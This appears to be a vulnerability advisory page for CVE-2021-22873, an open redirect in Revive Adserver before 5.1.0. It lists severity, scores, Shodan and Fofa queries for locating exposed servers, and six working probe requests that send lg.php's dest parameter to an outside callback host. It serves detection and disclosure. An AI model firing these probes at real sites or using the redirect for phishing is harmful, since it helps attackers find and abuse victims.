| Title | Revive Adserver <5.1.0 - Open Redirect |
|---|---|
| Author | pudsec |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks. |
| Remediation | Upgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.71647 |
| CVE ID | CVE-2021-22873 |
| CWE ID | CWE-601 |
| Shodan Query | http.favicon.hash:106844876http.title:"revive adserver" |
| Fofa Query | icon_hash=106844876title="revive adserver" |
| Tags | cve2021 cve hackerone seclists packetstorm redirect revive revive-adserver vkev vuln |
Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /ads/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /adserve/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /adserver/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /openx/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /revive/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /www/delivery/lg.php?dest=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22873.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22873.pcap
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